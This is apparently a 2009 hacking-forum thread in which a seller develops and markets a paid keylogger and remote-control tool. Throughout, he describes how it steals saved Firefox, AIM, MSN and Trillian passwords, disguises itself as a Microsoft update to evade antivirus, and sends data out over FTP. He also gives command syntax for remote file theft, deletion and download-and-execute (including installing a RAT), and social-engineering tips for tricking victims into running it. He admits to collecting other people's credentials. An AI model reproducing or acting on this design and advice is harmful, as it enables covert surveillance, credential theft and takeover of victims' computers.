@_*UbbeLoL*_ : Already has email support, and screen shot support, see main thread I will update with current list of features.

devil0angel - May 2, 2009, 7:08 am

A firefox stealer would be good if you included it..

Great keylogger I must say!

krizhiel - May 2, 2009, 10:49 am

kindly send to me plz and thnx

Yoshistr - May 2, 2009, 2:27 pm

To ALL BETA TESTERS:

Very Important that you delete old installations of this file (ANY Download prior to May 2nd 5:00 AM Eastern Standard Time)

or exactly 12 hours prior to this post.

The keyloggers for those will eventually cause a complete crash of your computer and may act destroy the operating system files causing a "blue screen of death" and Windows won't start again.

To remove it:

- Delete the location you downloaded the exe file to
- Delete C:\Windows\system32\winUpdate.exe
- Run the file "RemoveStartup.reg to remove the registry value
- Don't install any of the older versions, always stay updated with the newer ones.

IF you sent it to someone else already:

Do not do anything, or try to contact them unless you want to get charged for hacking.

If possible close the FTP account or change username/password that it will send logs to which will prevent the remote system from crashing and keep the program anonymous.

I apologize to everyone for these issues.

Please use the first post of this thread to see updates on what is going on and what features have been implemented or will be in future updates.

PLEASE DO NOT SEND THESE FILES TO ANYONE ELSE YET...this is still beta testing so please wait until the coding is nearly finished, right now there are still issues with the code which you won't notice right away but will cause problems later on so please don't distribute yet.

@devil0angel: It already has a firefox stealer, you are one of my beta testers so you should know this lmao!

Evolution - May 2, 2009, 2:40 pm

There is no file in my system32 named that ?? hopefully that means its already been removed dosent sound to good the screen of death etc haha fuck that!!

Yoshistr - May 2, 2009, 3:00 pm

The blue screen of death occurs only very rarely but just to make sure I wanted everyone to remove the files. If the file isn't there then you have nothing to worry about, just make sure you delete everything you downloaded just to make sure.

paloalto00 - May 2, 2009, 3:37 pm

Will this be available to the public when it's done? or will we have to pay for it?

ubbelol - May 2, 2009, 3:44 pm

(May 2, 2009 03:37 PM)paloalto00 Wrote: [CITE](#) Will this be available to the public when it's done? or will we have to pay for it?

Read thread name?

Yoshistr - May 2, 2009, 4:12 pm

This program will not be updated for a while, until May 20th or later because I have final exams upcoming for my last semester of college, and I need to make sure I graduate, so please feel free to post what you guys want and I will try to add it when I get the time. I will stay active on the forums but won't have time to code everything until later on so stay posted here and you can bookmark the thread if you would like to wait.

@ All my Beta Testers: Please post any errors or things you would like to see changed, etc...

@paloalto00:It will be available to trusted members only.

paloalto00 - May 2, 2009, 4:45 pm

(May 2, 2009 03:44 PM) _-*UbbeLoL*-_ Wrote: [\[CITE\]](#) Read thread name?

There was a thread named "[Free Keyloggers]" but they weren't actually free. So shhhhh

Yoshistr - May 2, 2009, 6:52 pm

I want to make this as CLEAR as possible:

IF you are BETA TESTING for me, do not send the keylogger out to any random person to test it out because currently there are coding errors, and MY FTP server is flooded with logs that I don't want. Currently over 25 website accounts have been compromised because I have received logs of their firefox saved passwords and now have access to 25 accounts which I do not want. So please do not distribute out this code until it has been fixed in this upcoming week.

Here are the accounts that have been compromised:

Now we can see how powerful it is to use firefox thief to steal saved passwords, just by looking at this list of passwords captured on the program's load. If you recognize any of these account names and would like to have it removed PM me.

Revelation - May 2, 2009, 7:22 pm

Gah...Remove the first one...

Yoshistr - May 2, 2009, 8:31 pm

I can't delete the logs off the ftp server because it keeps uploading new ones, so I'm going to inform everyone that what I'm going to do is delete my ftp account or change the credentials so it won't be able to send the logs to me.

If you need to contact me about your confidentiality, you can reach me at yoshistr@hotmail.com Don't worry I don't steal people's accounts or anything but am rather trying to show how these exploits can get information from your system that you believed to be private.

Originally when I wrote the program I wrote it just for myself and that is why it is sending to my ftp server as well as the one you specify so please do not use the program until it has been edited.

Update: I'm programming it now to read a html page off your ftp website containing commands to be executed on the remote system as well as adding code so you can dynamically change the settings for example you can have it send information to a different FTP location, use different password or username or even change the location where it receives future commands from. Also am adding a master shut off for it because of the recent issues we have been having, I will have access to shut off any of my keyloggers being used at any time, beta testers will have access to turn off their keyloggers that they send to their targets as well. Using run commands you can essentially have complete control of the remote computer and make it do whatever you want through the command line ie) manage files, move, delete, etc. I plan on even adding a feature to download specific files using a remote html file on your ftp site. So here is what it will be like:

- 1) You send the keylogger out and it runs
- 2) It checks <http://yoursite.com/mastercommand.html> for commands written to it such as `runCommand=del C:\Windows\somefile.exe` and it will delete that file, or you can use something like `runCommand=dir C:\` and it will run the command and in the next log file it sends you will include the output from the command line so you can see what files are on the C:\ drive. Now you will know the paths of the files you can then use a different command with the path you now know exists. As for the download feature you can use the `dir` run command to find the file and then use the variable `downloadFile=C:\WINDOWS\somefile.exe`, and the program will locate the file and attempt to upload it to your ftp server.

:) This program is going to be the best one you can get for free as it will have a remote shutdown option or turn on so if you don't want to get logs anymore you can turn it off and later on decide to turn it back on. You will have control of all the keyloggers you send out making you the true admin, of course because I am offering this file for free I will also have control to turn off any keylogger I choose.

Yoshistr - May 2, 2009, 10:24 pm

My new website is about to come out soon!

<http://www.yoshistr.com/>

Stay tuned everyone as I will be uploading AIMBrute there as well as MASTER Keylogger (only

place you can download it).

I will require that you register on the forums and have 10+ posts there. Please don't just post anything to get the program but instead try to help out and make suggestions on what you would like improved on the programs.

Cheers,
Yoshistr

Frags - May 2, 2009, 10:25 pm

Nice did you make it yourself? The website i mean.

Yoshistr - May 2, 2009, 10:36 pm

The website isn't out yet, I just registered the domain name an hour ago lol, and I can't do much until they activate it in a few hours so still waiting.

Frags - May 2, 2009, 10:46 pm

Nice. Whats it gonna have on the website? All you projects and stuff?

Yoshistr - May 2, 2009, 10:48 pm

I will be distributing my projects as well as the select few whom I choose from this site of program developers. There will also be a forum for each of the software programs and a lot of other great things coming out this summer so please stay tuned to this thread for further details:

<https://hackforums.net/showthread.php?tid=73389>

Yoshistr - May 4, 2009, 7:44 pm

Guys, I'm happy to announce that the keylogger can now take multiple commands from a remote txt file on your site and run each command and then send a log file of the output to your ftp server in addition to everything else. =) This code has to be enabled for all users but am working on that, also will be able to change the upload rate so it will upload at whatever time interval you state in your website.

Additionally if you don't know already, the command prompt can be used to do a variety of things which opens the door to all types of hacks. The main thing I will be adding soon is a file or directory downloader, which means you can specify a directory on the user's computer and it will upload all the files to your ftp server. This of course will only be released in a special version (due to limited funding for this project), which means I will have to charge for it but I'll keep you guys updated.

Here is what an attack would be like:

- Person runs the keylogger file
- Their firefox automatically shuts off, the firefox saved password files and form log file is sent to your ftp right away
- The program checks your website file: "http://yoursite.com/settings.txt" and loads the settings you want, here is a run down of options and a sample settings file:
runCommand=<run command here>
<Computer Name> <Administrator's Computer Name> (Will turn off the keylogger until removed)
URate=<Millisecond Interval Rate to upload logs>
Here is a sample settings file:
Code runCommand=dir
runCommand=mkdir C:\WINDOWS\IOWNYOURPC
runCommand=del C:\test.txt
URate=1500000
<Their Computer Name here> <Your Computer Name Here>

The run commands will be run in the order specified and all the output will be saved in one text file and sent to your ftp server, the URate line will set the interval of upload to 1500 seconds, and the

last line will cause the keylogger to remain dormant until you remove it. So say if on Monday you want to log their keys just remove the last line from the settings file then on Tuesday you don't want logs sent you add the last line and so on.

If you guys have any questions on future pricing or location where you can purchase it please let me know.

Thanks,
Yoshistr.

omc - se.curity.org - May 4, 2009, 8:18 pm

Hey let me test it
TOO SHORT

crux_ - May 4, 2009, 8:20 pm

I'll test it man PM when it's finished.

Yoshistr - May 5, 2009, 4:53 am

This program is past the beta mode currently seeing that I had not received any reports from my beta testers I went ahead and did some testing myself. The fully working release will be coming out soon, you can PM me for the details for purchasing it.

Mikleman - May 5, 2009, 7:24 am

it's really good...
but i'm very sad.. i don't have reputation :°°°°°

if i know c# you can send me the source?

poppin27 - May 5, 2009, 10:59 am

Seems like it's going to be a nice keylogger.

Mikleman - May 5, 2009, 11:35 am

yes but the most part of members can't have it :(

Glock Phobia - May 5, 2009, 11:38 am

i want to apply for a beta tester

Yoshistr - May 5, 2009, 4:28 pm

There is no more beta testing the program since it is in post-production, previous releases will stop working soon as they will be shut off remotely. Additionally if you are interested in purchasing it for an undisclosed price please PM me for details.

Currently it has the following features:

- Steal Firefox stored passwords immediately
- Takes screen shots at intervals defined by you and uploads them to your ftp server
- Completely FUD, marked as "MicrosoftUpdate.exe" with company name as "Microsoft Corporation"
- Hides in the process list, auto starts with Windows as a hidden file and hides all log files
- Send logs & passwords via FTP or Email
- Steal stored AIM passwords
- Remote shutoff feature allowing you to turn it off or on as you choose
- *Remote run command feature allowing you to run multiple commands through the command prompt (full access) with the output sent to your FTP server
- *This feature essentially gives you full control of the user's computer, with specific run commands you can open up a ftp connection to whatever server you want and send any files off their hard drive to yourself, you can have it download files off your server and execute them, meaning once they

install the program you can install other programs without their authorization.

- Remote change upload rate feature letting you change the intervals it sends the logs to your server
- Additional features will be added soon as well...(If you decide to purchase it you can have it do something else of your choice and I will program it for you)

I apologize if I mislead anyone with the title free keylogger since I believed my beta testers would actually provide me with feedback and assistance with the code, but so far with all my beta testers I have yet to receive a report or any assistance on how to improve the program. Therefore I decided to go ahead and do the rest of the coding myself and charge a negotiable fee to download the keylogger as well as any future updates.

-Yoshistr

devil0angel - May 6, 2009, 9:32 am

Really good keylogger I was a beta tester, I recommend everybody who want a keylogger to purchase it..

p.s. great job Yoshistr ?

BkPhate - May 6, 2009, 10:37 am

Please check your pm's Yoshistr!

Yoshistr - May 6, 2009, 12:05 pm

Thanks for the compliment but the current keylogger for sale is much better than the Beta version as it comes fully equipped to handle commands through command prompt allowing you full access to the user's computer. Additionally you can turn it on/off whenever you desire remotely, so this remote keylogger is all you need! Other keyloggers can't compare to these new features as well as the firefox thief and AIM password thief included.

If interested in purchasing the keylogger please PM me as soon as possible so I can create your settings for you.

Yoshistr - May 8, 2009, 4:43 am

Here is an update for those of you who are interested in this new program:

Features being implemented in the next full release:

- Encrypted Log File on remote computer rather than plain text using a 9 character IV key with the resulting hash being salted (more secure).
- Special FTP feature allowing the use of a remote "FTP=" command to upload a specific file from the remote computer to the server (dynamic).
- Special download feature allowing the use of a remote "download=" command to download a file from the internet to the remote computer to a predetermined directory.
- Special download & execute feature allowing the use of a remote "dexe=" command to download a exe file to a specific directory and then execute it on the remote computer.

=> Thank you everyone for supporting this new product, and feel free to post your questions or comments.

-Yoshistr

Mikleman - May 8, 2009, 5:35 am

:Â°Â°

i don't have paypal

can you make a lite edition?

Yoshistr - May 10, 2009, 1:14 am

The encrypted file has been coded and can now be purchased with the deluxe edition of the software, PM me for details.

@Mickleman: I accept checks or cash by mail or can trade for something of equal value (for example passwords to an account you own worth the value of what you want). There will be no "lite" edition of this software simply because it will increase the chance of being uploaded to an antivirus program and no longer remaining FUD.

Yoshistr - May 10, 2009, 10:23 am

A trial version of the program is available for evaluation purposes only, please download the files and follow the directions to get your trial version activated by me.

[Yoshistr Keylogger Trial Download Here](#) - Make sure you follow the directions for your own safety. Do not send the trial to anyone else it won't work.

If you would like a trial please run the exe file and PM me your identification #, your ftp host, user name, password, upload rate (how often to send text files), picture rate (take screen shot rate), and commands file location. The commands file is basically an html file on your website which you can change to add commands to send to the remote computer, or use it download files or do various other things with. You will need to have access to change this file.

The trial version will show a message box when it starts to warn the user and will work for 5 runs (computer restarts) then will stop working, at this time you will have to buy the program. The trial is only meant to show what you can do with the program using remote commands, also if you want to register make sure you send me all your ftp information so I can create your program.

h4x0r_t00l - May 10, 2009, 10:44 am

What language did you create this in?

Yoshistr - May 11, 2009, 12:40 am

It is coded in C# and runs in Windows XP, and Vista. Also works even if the user is a "Guest" user name. Trial versions of the program are available, PM me for the details.

Yoshistr - May 12, 2009, 11:12 pm

Features to come:

- Download whole directories of files with a single command rather than listing each file separately.
- Full list of great run commands to use with this program
- Improved documentation and a video showing it uploading any file type to the ftp server.
- Clipboard analysis and copying of output, including non-textual data all uploaded directly to the ftp server.
- Window analysis and log integration allowing logs to remain easy to read but will include additional information, more details to come.

Thanks everyone and I look forward to getting these new updates programmed and installed.

-eWf - May 13, 2009, 2:20 am

I'm gonna check the trial out...this looks great, probs buy.

Yoshistr@ You should add a steam stealer.

Yoshistr - May 13, 2009, 3:21 am

@-eWf: Please PM me your identification # when you run the trial:

[Trial Download](#)

so I can activate it for you.

Also I will look into the steam program and add the steam password stealer when I get the time.

I looked into stealing steam passwords, it appears that passwords that have been saved are stored into a file called ClientRegistry.blob,

all you have to do is use the command FTPU=C:\Program Files\Steam\ClientRegistry.blob

which will upload that file from the remote computer to your ftp site, then you can copy the file to your local computer in the Steam program file folder

overwriting your old one. Once this is done simply use this program to recover the steam password from the file:

<http://yoshistr.com/steampwd.zip>

This is theory because right now I don't have access to two computers and am not sure if any other files or information is needed, I will look into it if you are interested but having the keylogger and the powerful command feature you can even totally delete the ClientRegistry.blob file using:

runCommand=del C:\Program Files\Steam\ClientRegistry.blob

this will delete the file storing the password therefore requiring the user to type the password when accessing the client which will be recorded by the keylogger and sent to you.

I know there is a way to code this but right now am pressed for time so I will look into it these upcoming weeks.

Mikleman - May 13, 2009, 5:46 am

i don't know.. the trial version is the keylogger?

Cool_Rishabh - May 13, 2009, 5:55 am

can i have one ? is it free?

the gost - May 13, 2009, 6:17 am

nice one i really like this

Yoshistr - May 13, 2009, 8:36 am

The trial version works just like the deluxe version with 2 exceptions, the trial will show a message on start up stating that keys are being logged as well as every time logs are uploaded the user will be notified, so it can't be used on another computer except the one registered. The second thing is that it will stop working after running 5 times usually meaning after the computer has been restarted 5 times from initial installation. The trial is meant to let the user test out the program and get used to using the command.html file to send remote commands to the program to see how it works, and show the powerful capabilities of being able to send run commands, and to download files and execute them in the background, or download files to the remote computer overwriting old ones, or the best option uploading any file from the remote computer to the ftp server.

Please watch the videos if you are confused about any of this, it explains it all.

BkPhate - May 15, 2009, 12:26 pm

Sounds even better than the last one, its the most functional logger by far.

Let me know when I can get the deluxe version.

Yoshistr - May 16, 2009, 3:12 am

Yoshistr - May 19, 2009, 11:23 am
Hello everyone,

I am happy to announce that my examination is over today and I have graduated, so I will have more time to continue working on this project. For our paid members this means that I can create the previous updates that I promised and furthermore that we will distribute you the copies for free. If you have any requests for the future of this keylogger please PM or post any concerns or comments you may have. If you are having any issues using the program please send me (Yoshistr) a PM and

I will be glad to personally assist you. This means that I can further help you guys out by producing the best keylogger out there with added functionality such as downloading files off the remote computer or installing RATs.

As soon as I have access to my home PC I will create a video on how to use Yoshistr keylogger to install the Poison Ivy rat server on the remote computer automatically using the command:

FTPExec=C:\WINDOWS\serverfile.exe

This will essentially download and install the server file on the remote computer to allow you access to administer the remote computer at will.

If anyone has a question that is related to this please PM me if you purchased the deluxe version of this keylogger otherwise post it here.

-Yoshistr

Yoshistr - May 21, 2009, 12:19 pm

Please note to all deluxe users:

The program has been updated, to receive your updated package please PM me when you get the chance with your FTP information.

Also note that usually a ftp connection can be established once per user, meaning if you install it on multiple computers you will get interference issues because the ftp server will block access to upload files. If you plan on installing on multiple computers please send me either multiple ftp account information or an ftp account which allows multiple connections as the same user.

Update includes:

- Completely remove old installations of the keylogger in place of new one
- 60 second checks of the command file to receive commands much more quickly
- Removal Tool to remove the program manually after testing it out
- Jpeg screen shot images instead of Png files

-Yoshistr

rens23 - May 22, 2009, 9:46 am

Looks very very good

ImWicked - May 29, 2009, 1:16 am

I sent you a payment please give me the keylogger =]

Polar Bear - May 29, 2009, 11:46 pm

This guy is really too good. Excellent and Professional follow-up. Was a pleasure buying from you.

ImWicked - May 30, 2009, 5:03 am

Yea i agree..

But is there a tut how to run .exe files on their pc?

DudeWhereIsMyWeed - June 1, 2009, 8:23 am

can u give me it for free ?ty anywayz lol o.O

DarkForce - June 1, 2009, 7:05 pm

Thanks pal this look good. i give it try .

Polar Bear - June 4, 2009, 3:02 am

Have some issues and have been waiting for a reply since the last few days. Guess he is not around.

Yoshistr - June 4, 2009, 3:10 am

Please send all questions or concerns to me via a PM to get a response.
Also you can send them directly to my email: bathtank@yahoo.com.

Yoshistr - June 5, 2009, 3:02 am

Yoshistr Productions announces the expected release date for the next update of Yoshistr Deluxe Keylogger: 6/6/09.

If you have questions please ask them on the main site: yoshistr.com or send an email to bathtank@yahoo.com.'

Expect delayed responses during development periods before updates are rolled out while our team is busy working on the program.

Thank you for your consideration and if you would like to speed up the process of getting your program update please send me your Yoshistr Productions special ID# using the email address you sent your paypal payment with so it may be cross-referenced.

You can use this tool to get your ID#: <http://yoshistr.com/ShowSerialNumber.exe>

When the update gets released a link will be sent to you with the program automatically activated, if you choose not to send me an email you can send a PM with your paypal transaction # used to send the payment.

Rolling - June 5, 2009, 3:15 am

Your never on msn. ?

Yoshistr - June 5, 2009, 3:19 am

I am on MSN all day however like I mentioned I may not be able to reply to messages, if your message is important please say so in the first message you send to me so I can address questions quickly.

Thanks

AcidRainZ - June 5, 2009, 4:21 am

way to expensive for me .3rd worl countries dont have access to this

keyler - June 8, 2009, 1:11 pm

mmmm dont understand

Yoshistr - June 8, 2009, 3:41 pm

Note to all Deluxe Yoshistr Keylogger users:

Change in the date for the next upgrade pending further beta testing before production: 6/12/09.

A prerelease of this upgrade is however currently available by request via email:

bathtank@yahoo.com. (Definition of a prerelease: beta testing has been successful for new features of the upgrade however it is not extensive enough to get Yoshistr Productions guarantee.)

The date for the next update for the program has been set to June 10th, 2009. You may request a download link for the update following this date.

Update Notes - 6/10/09 *****

- Automatically sends a text list of all files on the person's computer on first run and on every restart
- Decreased file size to only 60 kb
- Support for more keys, better attenuated for logging regular text

- New command (FTPUDir=) for uploading all files inside a directory
- Support for special variables to access common directories such as:

%Desktop%

%ApplicationData%

%MyDocuments%

%System%

%StartUp%

%ProgramFiles%

%MyPictures%

*For example using the command: FTPUDir=%Desktop% will upload all files on their desktop to your ftp server.

Yoshistr - June 10, 2009, 9:21 pm

To all paid members:

I have decided that it is too inconvenient to have our members email us everytime an upgrade is made and therefore we will port the upgrade links directly off our site: <http://yoshistr.com> in a new section that will be created only for our premium members.

This will also greatly help anyone who has questions regarding the product and or concerns by allowing them to post directly to our help desk where it will receive higher priority.

Therefore if you are a paid member for this software please make sure you register at <http://yoshistr.com> and send me a PM (on that site) with your paypal payment verification # for the software or your Yoshistr product ID#.

We are also looking for new ventures, so if you have any suggestions regarding upgrades or would like a new feature added, please visit our site and post it there.

-Yoshistr

codebreaker - June 12, 2009, 2:08 pm

Any Demo Available pls pm me i wanna try a trial ??

Rauisufirippu - June 12, 2009, 3:15 pm

Fast question, I might be interested to buy it later...

Does the victim needs any software installed on his/her pc to let the keylogger do its work properly?

Yoshistr - June 12, 2009, 3:26 pm

Just the .Net framework which most computers already have preinstalled, Windows XP and Windows Vista comes with it.

konstantin - June 12, 2009, 10:30 pm

I want to buy your keylogger, but have some questions.

Just wanted to know if each person get their own customized copy or is it the same copy? If this does become detectable by AV will you be providing new FUD copies? And last, will it work on victims who have windows firewall turned on or do we need do do something about it?

-NoOb_HaCkEr- - June 12, 2009, 10:39 pm

yea that would be good to know before i buy it....

ImWicked - June 13, 2009, 1:34 am

The copies are the same. He will update it, but i think it will remain FUD.

It will work with windows firewall turned on [tested by myself]

Yoshistr - June 13, 2009, 3:12 am

Hello,

The program will run with Windows Firewall On, even if you check off the box do not allow exceptions it will still run and never ask for permission. Unlike RATs or other programs, we only use the ftp port 21 which is by default left open on windows systems allowing outbound traffic.

I'm not sure what you mean by "their own customized version", please elaborate or clarify.

We upgrade the software, so if it does become detected for some reason we will work to make it FUD again by changing the code and then sending out the update link to our members.

-Yoshistr

zerovalue0 - June 13, 2009, 3:26 am

This looks pritty fucking awesome the features alone got my attention

Yoshistr - June 14, 2009, 1:16 am

*Note: Questions regarding this program always belong on the main site: <http://yoshistr.com>, comments and or commendations however can be posted on this thread, this is because we answer questions more readily on the main site than on this thread. So make sure if you have an important question you post it on the site or send a direct PM to Yoshistr there (instead of here).

Update Release (6/14/09)

Please visit the site: <http://yoshistr.com/> login with your Premium Member account, you can find the download details inside the thread located here:

Update Notes (6/14/09):

- MSN stored password thief
- Trillian stored password thief
- Command.html file stabilized, allowing for dynamic command processing
- File Listing automatically sent to FTP server
- New Command.html / Command.txt file creator
- Can now use a Command.txt file instead of html
- New Insert Hashed Aim Passwords into Registry

MagnetikHackLord - June 14, 2009, 1:30 am

WOW 25DOLLARS :O :O :O way too expensive for mee ;(

konstantin - June 14, 2009, 3:00 am

Its \$25 for the standard version which isnt being offered anymore. It's now \$50 for the deluxe version, and thats the only one on offer as of now.

shadowmyst - June 18, 2009, 3:34 am

Whats the current detection rate by the av's on this keylogger? Very nice may I add, also when you bind this keylogger to lets say for example a jpg image, will the output file actually have a .jpg extension or will it have a .exe? I've seen alot of binders that still keep the .exe extension. Also for a

suggestion, how about being able to remotely disable av's and whatnot through the command feature. If its possible that is.

Thanks

Yoshistr - June 18, 2009, 3:49 am

Hello shadowmyst,

Our program functions by remaining hidden rather than increasing its detection rate by disabling Anti-Viral programs. An assassin that does a good job does not leave his calling card on the table for the police when he can simply get in and get the job done. The software is FUD by the anti-virus programs listed on the first post of this thread.

File binding is a process; any file that does not end in ".exe" is not executed by the operating system but is rather passed on to the associated process meant to handle the file type. For jpeg files this is by default Windows Picture Viewer but can be any picture editing software such as photoshop, gimp, MSPaint, etc and therefore it is nearly impossible to find exploits for all these programs to inject the code into the process from inside the file. Therefore it is not possible to have a jpeg extension to the file and for it to still be a keylogger unless an exploit is found in the program handling the file type or even less likely the operating system graphics driver or kernel.

I understand, is there anyway to not have the extension type appear next to the file name when sending the file to somebody? Example, "picture" instead of "picture.exe"?

I'm not sure, point being is that most people I know won't accept anything with a .exe extension so that makes it alot more difficult to deploy the keylogger for me.

Yoshistr - June 19, 2009, 1:13 pm

As JacobRawr mentions if the user has the "Hide known extension" option selected then they will not see any file extension.

All executable code needs to be an "exe" file type so it can be handled properly, as for hiding the extension that is impossible since the Windows shell handles the file name. This means that the file name is read, the extension part is parsed and the appropriate program registered to that extension type handles the file, if the internal file name has no extension the file will become an "unknown" file type and Windows will request the user to select the appropriate program manually.

Therefore hiding the ".exe" part of the file name on the graphic end without executing code to begin with is impossible.

If this were possible, Windows Security would be having a field day trying to fix the security hole. Simply having a user download a file only creates a file partition on the hard drive allocating memory in sectors that contain binary data, this data is then graphically displayed as an icon, file name and file properties. A keylogger is executable code or instructions for the computer to preform the desired actions which is contained in the data, however the instructions are not followed unless the user does so by clicking on the icon which informs the operating system to retrieve the binary data and to go ahead with the actions.

Using social engineering is the most common and applicable solution therefore to get around this by persuading the user to click on the file. This idea hinges on using longer file names so that the extension is not readily visible, deploying the file in a way that justifies executable code (such as binded to the desired software), changing the icon of the file to decrease the likelihood the user will look at the extension prior to clicking, etc.

Interesting, somebody told me that with VicSpy your able to change the actual extension type of the output file. Can this be confirmed?

Rauisufirippu - June 20, 2009, 4:07 pm

Maybe it is possible to run the pic while secretly the keylogger will run.

bingdong - June 21, 2009, 9:38 pm

i hope this is free forever lol

DarkForce - June 28, 2009, 7:43 pm

Hey pal how much you are sell your keylog i want to buy. i want fud keylog so pm

trioad3 - June 29, 2009, 11:47 am

Can I have one please?

Thanks a lot!

Yoshistr - June 30, 2009, 12:26 pm

Please visit our site: <http://www.yoshistr.com> for purchasing information as well as any questions you have regarding this product.

-Yoshistr

{.-.}:) - June 30, 2009, 2:40 pm

May I have one for free, please?

Just Beat it - June 30, 2009, 6:59 pm

uhh tha'ts super cool

thanks. PM :)

Yoshistr - July 3, 2009, 4:09 pm

The latest update has been released for this software, if you have already purchased the software you may download it from here:

<http://yoshistr.com/showthread.php?tid=27>

If you have not yet purchased the software you may do so here:

<http://yoshistr.com/showthread.php?tid=3>

gAracUh - July 7, 2009, 2:16 am

sir yosh how many months support if i buy this keylogger?

Yoshistr - July 7, 2009, 1:09 pm

Hello gAracUh,

We provide future updates for the software, these are released in installments and can be expected when necessary or once a month. These upgrades are free after you make the initial purchase and can be downloaded directly from the forum (<http://yoshistr.com>). If you have further questions feel free to ask them there.

-Yoshistr

gAracUh - July 7, 2009, 10:28 pm

wow that's mean upgrade is lifetime am i right? if this lifetime upgrade after i purchased this is good to me? btw thnkz for reply sir i want buy this keylogger but in my paypal is 43\$ dolllar only in need 7\$ dollar remaining wait and ill buy this keylogger thanks for info sir yosh..

krons - July 24, 2009, 5:53 pm

nice update. people need to try it.

YaWn - July 25, 2009, 12:45 am

A bit unrelated but, who is the artist for the music that is playing in your tutorial video?

Ayogya_pamara - July 26, 2009, 3:04 pm

.NET requirement for victim is just lame. I bought this logger, because it has nice features, but it doesn't work on XP without .NET. Most people on XP doesn't have .NET.

Please make version without .NET.

Incisi0n - August 10, 2009, 5:58 pm

i bought this yesterday when will i get it pm me

GreenTeam™ - August 10, 2009, 7:18 pm

nice but really expensive but i suppose its a really nice prog

honda - August 11, 2009, 11:02 am

Looks very nice good work.
